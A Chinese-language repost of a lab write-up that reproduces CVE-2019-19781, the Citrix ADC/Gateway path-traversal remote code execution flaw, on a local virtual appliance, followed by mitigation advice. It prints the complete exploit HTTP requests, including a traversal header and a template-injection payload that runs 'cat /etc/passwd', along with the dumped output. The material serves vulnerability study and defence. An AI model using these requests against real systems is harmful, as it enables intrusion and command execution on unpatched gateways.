网易首页 > 网易号 > 正文 申请入驻

CVE-2019-19781: Citrix ADC远程代码执行漏洞本地复现

0
分享至

  原标题:CVE-2019-19781: Citrix ADC远程代码执行漏洞本地复现

  No.1声明

  由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

  雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

  No.2漏洞产生原因

  Citrix ADC(NetScalers)中的目录穿越错误,这个错误会调用perl脚本,perl脚本用于将XML格式的文件附加到受害计算机,因此产生远程执行代码。

  注:Citrix NetScaler ADC应用交付控制器和Citrix NetScaler网关

  No.3漏洞利用过程

  1.pl文件未对NSC_USER参数传入进行过滤

  2.触发目录穿越

  3.在模板目录的XML文件写入命令

  4.模板引擎分析后执行命令

  No.4漏洞影响范围

  Citrix NetScaler ADC and NetScaler Gateway version 10.5

  Citrix ADC and NetScaler Gateway version 11.1 , 12.0 , 12.1

  Citrix ADC and Citrix Gateway version 13.0

  No.5漏洞复现

  下载 Citrix Gateway VPX for ESX Build 13.0-47.22

  https://www.citrix.com/downloads/citrix-gateway/

  安装NSVPX-ESX

  运行.ovf文件后,会导入.vmdk文件并启动虚拟机

  桥接模式 配置

  IP地址:192.168.2.170

  子网掩码:255.255.255.0

  网关地址:192.169.2.255

  然后选择4确认

  访问 http://192.168.2.170

  默认用户和密码登录:nsroot/nsroot

  利用目录穿越写入命令语句到newbm.pl文件中

  POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1

  Host: 192.168.2.170

  User-Agent: 1

  Connection: close

  NSC_USER: ../../../netscaler/portal/templates/rab3it

  NSC_NONCE: nsroot

  Content-Length: 97

  url=http://example.com&title=rab3it&desc=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]

  HTTP/1.1 200 OK

  Date: Thu, 16 Jan 2020 06:25:07 GMT

  Server: Apache

  X-Frame-Options: SAMEORIGIN

  Last-Modified: Thu, 16 Jan 2020 06:25:07 GMT

  ETag: W/"87-59c4286dda300"

  Accept-Ranges: bytes

  Content-Length: 135

  X-XSS-Protection: 1; mode=block

  X-Content-Type-Options: nosniff

  Keep-Alive: timeout=15, max=100

  Connection: Keep-Alive

  Content-Type: text/html; charset=UTF-8

  GET方式访问写入的xml文件

  GET /vpn/../vpns/portal/rab3it.xml HTTP/1.1

  Host: 192.168.2.170

  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.3

  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

  Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

  Accept-Encoding: gzip, deflate

  Connection: close

  NSC_USER: nsroot

  NSC_NONCE: nsroot

  Upgrade-Insecure-Requests: 1

  Cache-Control: max-age=0

  HTTP/1.1 200 OK

  Date: Thu, 16 Jan 2020 06:39:17 GMT

  Server: Apache

  X-Frame-Options: SAMEORIGIN

  Pragma: no-cache

  Cache-control: no-cache

  X-XSS-Protection: 1; mode=block

  X-Content-Type-Options: nosniff

  Keep-Alive: timeout=15, max=100

  Connection: Keep-Alive

  Content-Type: text/html; charset=UTF-8

  Expires: Thu, 16 Jan 2020 06:39:17 GMT

  Content-Length: 2255

  # $FreeBSD: release/8.4.0/etc/master.passwd 243948 2012-12-06 11:54:25Z rwatson $

  #

  root:*:0:0:Charlie &:/root:/usr/bin/bash

  nsroot:*:0:0:Netscaler Root:/root:/netscaler/nssh

  daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin

  operator:*:2:5:System &:/:/usr/sbin/nologin

  bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin

  tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin

  kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin

  games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin

  news:*:8:8:News Subsystem:/:/usr/sbin/nologin

  man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin

  sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin

  smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin

  mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin

  bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin

  proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin

  _pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin

  _dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin

  uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/sbin/nologin

  pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin

  auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin

  www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin

  hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin

  nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin

  nsmonitor:*:65532:65534:Netscaler Monitoring user:/var/nstmp/monitors:/usr/sbin/nologin

  undef error - Attempt to bless into a reference at /usr/local/lib/perl5/site_perl/5.14.2/mach/Template/Document.pm line 92.

  No.6修复方案

  Citrix ADC 名称为NetScaler ADC,同时受影响为Citrix Gateway,产品名称为 Netscaler Gateway

  临时解决方案:

  实施Citrix支持文章https://support.citrix.com/article/CTX267027中描述的缓解措施

  将已识别的恶意XML文件复制到外部设备,并从以下目录中删除原始恶意文件

  / netscaler / portal / templates

  / var / tmp / netscaler / portal / templates

  验证所有创建为以“ nobody”用户身份运行的cron作业。默认情况下,不应以“ nobody”用户身份运行计划的cron作业。

  清除或重置经过身份验证的会话cookie。

  重新启动Citrix服务器以断开与恶意行为者的任何活动连接。

  重置Citrix服务器上所有本地帐户的密码。

  对XML文件和其他司法鉴定进行分析,以识别进一步的缓解措施。

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
令人心疼!11连胜后,王楚钦坦言:有些事,退役之后会全盘道出

令人心疼!11连胜后,王楚钦坦言:有些事,退役之后会全盘道出

十点街球体育
2026-08-01 11:44:15
国足归化目标+1!“航体之王”公开喊话:梦想代表中国队出战!

国足归化目标+1!“航体之王”公开喊话:梦想代表中国队出战!

绿茵舞着
2026-08-01 21:44:56
告别詹姆斯+引进9大新援!新版湖人变强了吗?狄龙的评价太真实

告别詹姆斯+引进9大新援!新版湖人变强了吗?狄龙的评价太真实

锅子篮球
2026-08-01 19:49:06
从招生热到关停冷:南京天润城幼儿园8月关门,家长措手不及

从招生热到关停冷:南京天润城幼儿园8月关门,家长措手不及

一口娱乐
2026-08-02 00:40:12
64岁周星驰遭李修贤炮轰:无儿女不敢见人,钱多也没用

64岁周星驰遭李修贤炮轰:无儿女不敢见人,钱多也没用

寒士之言本尊
2026-07-31 14:22:15
19岁天才削球手爆冷夺冠,揭秘乒超黑马崛起之谜

19岁天才削球手爆冷夺冠,揭秘乒超黑马崛起之谜

悠悠说世界
2026-08-02 02:19:45
中东战争可能要全面失控了,伊朗表示我愿意投降,给我留条命就行

中东战争可能要全面失控了,伊朗表示我愿意投降,给我留条命就行

安安说
2026-07-30 13:43:17
反认知!皇马清理冗员,不该卖卡马文加,送走9000万刺头是正解!

反认知!皇马清理冗员,不该卖卡马文加,送走9000万刺头是正解!

越岭寻踪
2026-08-02 07:04:16
大放水彻底结束!消费贷断崖式下跌,普通人负债时代正式终结

大放水彻底结束!消费贷断崖式下跌,普通人负债时代正式终结

流苏晚晴
2026-07-26 15:03:41
非法收受财物超22亿元,杨有林一审被判死刑:犯罪情节特别严重,社会影响特别恶劣

非法收受财物超22亿元,杨有林一审被判死刑:犯罪情节特别严重,社会影响特别恶劣

每日经济新闻
2026-07-06 21:58:54
民调暴跌,高市下台倒计时,对华态度一夜大变,手下人开始找退路

民调暴跌,高市下台倒计时,对华态度一夜大变,手下人开始找退路

悦心知足
2026-08-01 12:05:43
外媒:076型两栖攻击舰首次公开电磁弹射测试,展现未来作战方向

外媒:076型两栖攻击舰首次公开电磁弹射测试,展现未来作战方向

零度Military
2026-08-02 07:33:32
女生长的太漂亮是什么体验?网友:母以子贵,父以女荣

女生长的太漂亮是什么体验?网友:母以子贵,父以女荣

另子维爱读史
2026-03-10 22:56:08
日本举国备战,47个县签收尸协议,实弹演习覆盖中国东南沿海

日本举国备战,47个县签收尸协议,实弹演习覆盖中国东南沿海

兵卒史
2026-07-29 20:14:36
苏北村子的新动向:为啥要动?空心化了,是走是留,咱得心里有谱

苏北村子的新动向:为啥要动?空心化了,是走是留,咱得心里有谱

荷兰豆爱健康
2026-08-01 15:47:36
1.55升“哑铃矿泉水”走红,单瓶约8元重约3斤,有网友喝完往里灌沙子,厂家:领导是健身达人,可以灌沙子但不建议

1.55升“哑铃矿泉水”走红,单瓶约8元重约3斤,有网友喝完往里灌沙子,厂家:领导是健身达人,可以灌沙子但不建议

极目新闻
2026-07-30 18:26:18
心寒!唐斯因尼克斯迟迟未开出续约合同心生失落

心寒!唐斯因尼克斯迟迟未开出续约合同心生失落

夜白侃球
2026-08-01 21:13:53
队记揭秘勇士3次追求詹姆斯失败 4大原因让“詹库联手”难实现

队记揭秘勇士3次追求詹姆斯失败 4大原因让“詹库联手”难实现

醉卧浮生
2026-08-02 06:30:24
所有人都认定电车必将取代油车!谁能想到半路杀出个程咬金

所有人都认定电车必将取代油车!谁能想到半路杀出个程咬金

小怪吃美食
2026-07-30 15:46:40
深圳自然博物馆首日1.26万人打卡,骑行道规定今日施行

深圳自然博物馆首日1.26万人打卡,骑行道规定今日施行

荷兰豆爱健康
2026-08-02 01:55:25
2026-08-02 08:08:49
E安全 incentive-icons
E安全
全球网络安全资讯新传媒
7159文章数 22757关注度
往期回顾 全部

科技要闻

特斯拉拆不掉中国制造

头条要闻

大爷切掉眼镜蛇的头后被咬死死咬住 术后做了三天噩梦

头条要闻

大爷切掉眼镜蛇的头后被咬死死咬住 术后做了三天噩梦

体育要闻

1米76的他,为什么是史上最强中卫之一?

娱乐要闻

韩路批董宇辉“又当又立”?

财经要闻

长鑫科技四万亿市值背后的资本与周期

汽车要闻

历史性里程碑时刻 零跑7月交付达101267台

态度原创

亲子
本地
房产
艺术
公开课

亲子要闻

马筱梅带半岁汪宝学游泳,专人私教全程陪同,产后状态惹全网羡慕

本地新闻

神仙也“蓉”漂,哪吒与八仙,皆是成都出品!

房产要闻

1700亿砸下!信息量巨大!海南甩出又一个超级规划!

艺术要闻

这真的是素描?不是黑白照片?每一根毛发都在呼吸,放大一百倍都找不到一条废线!

公开课

李玫瑾:为什么性格比能力更重要?

无障碍浏览 进入关怀版